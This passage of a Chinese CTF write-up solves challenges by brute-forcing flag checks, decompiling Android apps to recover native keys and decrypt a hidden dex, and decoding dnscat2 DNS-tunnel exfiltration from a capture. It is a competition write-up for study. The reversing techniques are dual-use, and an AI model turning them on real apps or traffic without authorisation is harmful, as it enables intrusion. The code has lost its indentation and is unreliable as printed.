其中在check1中對輸入字串進行了修改,如果修改後的結果等於check2中的字串” FSBBhKigNOfHaoCaaSeEFPKEsj6”,則輸入字串是正確的flag。
因此可以對每個字元進行爆破,一共27個字元,python程式碼如下:
enc = "FSBBhKigNOfHaoCaaSeEFPKEsj6"
vv26 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
vv17 = 'abcdefghijklmnopqrstuvwxyz'
vv8 = '0123456789+/-=!#&*()?;:*^%'
vv4 = 'DABBZXQESVFRWNGTHYJUMKIOLPC'
flag = ''
for i in range(27):
for c in range(32,127):
v4i = ord(vv4[i])
v35 = c - v4i
cc = ''
if v35 > 0:
if v35 > 25:
if v35 > 51:
cc = vv8[v35-52]
else:
cc = vv17[v35-26]
else:
cc = vv26[v35]
if cc == enc[i]:
flag += chr(c)
break
print(flag)
得到flag:ISCC{bse
deYqvInbkhYRZSSxs}`
MOBILE
Puzzle_Game
-
使用jadx反編譯,得到java層程式碼。
-
閱讀程式碼,大概邏輯是將輸入的字串經過com.example.whathappened.a.a()方法的驗證,如果透過則顯示” OH YES, ONE STEP AWAY FROM SUCCESS!“。
在com.example.whathappened.a.a()方法中,前8位的判斷方法已經寫出,由於條件很多並且位數不高,可以爆破跑出前8位。
在驗證邏輯中可以看出,後15位的內容等於com.example.whathappened.MyJNI.Myjni. getstr()方法的輸出。這個方法是native方法,所以需要找本地lib庫中的程式碼,可以看到是lib庫名是whathappened,對應找到libwhathappened.so檔案。
- 使用ida反編譯libwhathappened.so檔案,可以看到主體程式碼是一個getend()函式,可以自己將這個函式轉為python程式碼執行得到後15位內容。
-
將前8位與後15位拼接,進行sha256計算,如果結果等於
437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa
則說明爆破的前八位正確。 -
最後得到應該輸入的字串為
ISCC{04999999gwC9nOCNUhsHqZm}
,但這並不是flag。 -
在java層找其他函式看,發現在com.example.whathappened.Receiver中還有一些程式碼,將sha256計算結果為
437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa
的字串進行了一些加密。猜測經過這個加密後的才是真正的flag。
- 由於程式碼都有,並且generateSalt生成的鹽值也是固定的,所以可以自己轉為pthon程式碼執行得到結果。
其中計算鹽值的java程式碼如下:
import java.util.Arrays;
import java.util.Random;
public class Main {
private static byte[] generateSalt(int i) {
byte[] bArr = new byte[i];
new Random(3468L).nextBytes(bArr);
return bArr;
}
public static void main(String[] args) {
byte[] generateSalt = generateSalt(16);
System.out.println(Arrays.toString(generateSalt));
}
}
其餘python程式碼如下:
import gmpy2
import hashlib
from ctypes import *
import base64
# native層,從libwhathappened.so中得到,enc1的後15位
def getend():
aAbcdefghijklmn = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
aAbcdefghijklmn = [ord(i) for i in list(aAbcdefghijklmn)] # Replace [...] with the actual content of aAbcdefghijklmn array
result = [0] * 16
result[15] = 0
v1 = 0
v2 = 0
while v1 != 15:
tmp1 = ((v2 + 5 * v1 + (-2078209981 * (v2 + 5 * v1 + 7)) >> 32) + 7)
tmp2 = tmp1 >> 31
tmp3 = tmp2 + ((v2 + 5 * v1 + (-2078209981 * (v2 + 5 * v1 + 7)) >> 32) + 7) >> 5
v3 = v2 + 5 * v1 - 62 * tmp3 + 7
v4 = aAbcdefghijklmn[v3 % len(aAbcdefghijklmn)]
v5 = v2 + 10
v6 = 100
for _ in range(100):
v3 = (v5 + v3) % 62
v7 = v3 + v2 + v4
v4 = aAbcdefghijklmn[v7 - 62 * (((v7 + (-2078209981 * v7 >> 32)) >> 31) + ((v7 + (-2078209981 * v7 >> 32)) >> 5))]
v6 -= 1
v8 = 100
for _ in range(100):
v3 = (v5 + v3) % 62
v9 = v3 + v2 + v4
v4 = aAbcdefghijklmn[v9 - 62 * (((v9 + (-2078209981 * v9 >> 32)) >> 31) + ((v9 + (-2078209981 * v9 >> 32)) >> 5))]
v8 -= 1
v10 = 100
for _ in range(100):
v3 = (v5 + v3) % 62
v11 = v3 + v2 + v4
v4 = aAbcdefghijklmn[v11 - 62 * (((v11 + (-2078209981 * v11 >> 32)) >> 31) + ((v11 + (-2078209981 * v11 >> 32)) >> 5))]
v10 -= 1
result[v1] = v4
v2 -= 1
if v2 < 1:
v2 = 15
v1 += 1
print(bytes(result))
return result
# java層,從com.example.whathappened.a中得到,可以爆破enc1的前8位
def d(i):
return gmpy2.is_prime(i)
def get1(i):
return str(i)[0] == '4'
def b(str):
if len(str) == 8:
parseInt = int(str)
if get1(parseInt) and d(parseInt):
i = parseInt + 11
if not get1(i):
if not d(i):
return True
return False
# java層,從com.example.whathappened.Receiver中得到,將enc1加密為flag
def getflag(enc1):
g=lambda x:[c_uint8(i).value for i in x] # 將int轉為uint
b=lambda x:base64.b64encode(bytes(x)).decode() # 轉為bytes然後base64編碼
enc1 = list(enc1)
salt = g([56, 88, 36, -37, -15, -20, 48, 67, 51, -86, 122, -114, -76, 78, 63, 71])
# encrypt
for i in range(len(enc1)):
enc1[i] ^= salt[i%len(salt)]
enc2 = list(b(salt+enc1).encode())
# encrypt2
for i in range(len(enc2)):
enc2[i] = (enc2[i] + 127) % 256
for i in range(len(enc2)):
if i % 2 == 0:
enc2[i] ^= 123
else:
enc2[i] ^= 234
return 'ISCC{' + b(enc2)[:32] + '}'
if __name__ == "__main__":
str3 = bytes(getend())[:-1]
print(str3)
for j in range(0,99999999):
if str(j)[0] != '4':
continue
substring = str(j).zfill(8)
if b(substring):
print(substring)
if hashlib.sha256(substring.encode() + str3).hexdigest() == "437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa":
enc1 = substring.encode() + str3 # enc1
print(enc1)
break
print(getflag(enc1))
得到flag:ISCC{tS+dAMpEvBi3LrcTiweLJIguyESqHJwY}
ChallengeMobile
- Jadx反編譯
-
閱讀程式碼,大概是使用加密的dex檔案ming中的方法isflag()判斷輸入的flag是否正確,這裡a()是一個本地方法,用於解密dex檔案資料。
-
使用android stuidio新建一個apk,專案名就命名為challengemobile,加入題目的libs和assets資料。
注意要在build.gradle中指定本地庫的目錄,新增如下程式碼:
android {
//..
sourceSets {
main {
jniLibs.srcDirs = ['src/main/libs'] // 指定本地庫的目錄
}
//..
}
- 寫一個MainActivity,主要功能是從ming檔案中讀取資料,然後呼叫本地方法a()進行處理,然後將處理後的資料寫入ming.dex檔案中,程式碼如下。
package com.example.challengemobile;
import android.os.Bundle;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class MainActivity extends AppCompatActivity {
static {
System.loadLibrary("challengemobile"); // 載入本地庫
}
public native byte[] a(byte[] bArr); // 宣告本地方法
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
// 從檔案中讀取資料
byte[] data = LoadData("ming");
// 呼叫本地方法處理資料
byte[] processedData = a(data);
// 將處理後的資料寫入到 ming.dex 檔案中
boolean success = writeToFileInInternalStorage(processedData, "ming.dex", getFilesDir());
if (success) {
// 寫入成功
System.out.println("File written to internal storage: " + new File(getFilesDir(), "ming.dex").getAbsolutePath());
} else {
// 寫入失敗
System.out.println("Failed to write file to internal storage.");
}
String key = Checker.getKey();
System.out.println("key is " + key);
}
public byte[] LoadData(String str) {
byte[] bArr = null;
try {
InputStream open = getAssets().open(str);
bArr = new byte[open.available()];
open.read(bArr);
open.close();
return bArr;
} catch (IOException unused) {
return bArr;
}
}
public boolean writeToFileInInternalStorage(byte[] data, String fileName, File directory) {
try {
// 建立檔案
File file = new File(directory, fileName);
FileOutputStream fos = new FileOutputStream(file);
fos.write(data);
fos.close();
return true; // 寫入成功
} catch (IOException e) {
e.printStackTrace();
return false; // 寫入失敗
}
}
}
- 在logcat中檢視輸出內容,過濾System.out,看到ming.dex的內部儲存地址。
- 儲存的ming.dex在app的內部儲存,在右邊device explorer中找對應檔案。
- 將ming.dex拿去jadx反編譯,可以看到在isflag()方法中,flag的加密結果是
FuvxvOzAUjqN0y+IvDLsdzLBoIduS68ydNw/eRAxgpuDWrXI
。
加密函式是encryptToBase64String,金鑰透過getKey()方法得到,getKey()方法也是本地函式。
- 所以在之前編寫的apk中呼叫getKey(),得到金鑰。先建立一個Checker類,內容為:
package com.example.challengemobile;
public class Checker {
static {
System.loadLibrary("example"); // 載入本地庫
}
public static native String getKey();
}
- 然後在MainActivity.onCreate()方法的最後新增上呼叫的程式碼,前文的程式碼中已經新增。
執行可以得到金鑰:6M51I386n109gD2~
。
- Isflag()方法中對flag加密主要使用以下函式:
將內容拿去GPT問一下,得知是xxtea演算法,網上有線上解密:https://www.tools4noobs.com/online_tools/xxtea_decrypt/
然後解密得到flag:ISCC{K51sCc^s-*)c?=9MingCw?|8g0.s{elC}
擂臺賽
misc
資料洩露
Wireshark開啟,看一下DNS流量特徵,有很多MX、CNAME、TXT型別的DNS請求,並且很多DNS請求的域名前有大量資料。符合dnscat2的流量特徵。
Dnscat2隱藏的流量就是域名前附加的資料,並且沒有加密,所以可以恢復出通訊內容。
使用wireshark過濾規則 ip.dst eq 192.168.157.145
,找出所有發向攻擊機的資料包,並且匯出分組解析結果為純文字txt。
使用python程式碼處理txt,用正規表示式取出所有域名前的資料,並且轉為字串。
import re
import binascii
# 定義正規表示式模式
pattern = r'Name:\s(.*?)\.microsofto365\.com'
# 開啟原始檔案和新檔案
with open('3.txt', 'r', encoding='utf-8') as f, open('extracted.txt', 'w', encoding='utf-8') as f_out:
# 讀取原始檔案的內容
content = f.read()
# 使用正規表示式查詢匹配的子串
matches = re.findall(pattern, content)
# 將匹配的子串寫入新檔案
for match in matches:
hex_string = match.replace('.','')
bts = binascii.a2b_hex(hex_string)
if len(bts) > 30:
print(bts)
f_out.write(str(bts) + '\n')
然後自己調整一下格式,如刪除十六進位制資料,替換換行符等,恢復出完整的通訊內容。
其中看到將dnscat2-v0.07-client-win32.exe 重新命名為win_installer.exe。
嘗試這兩個檔名的md5,得到flag。
ISCC{f9fe52314493773061548e2a49943254}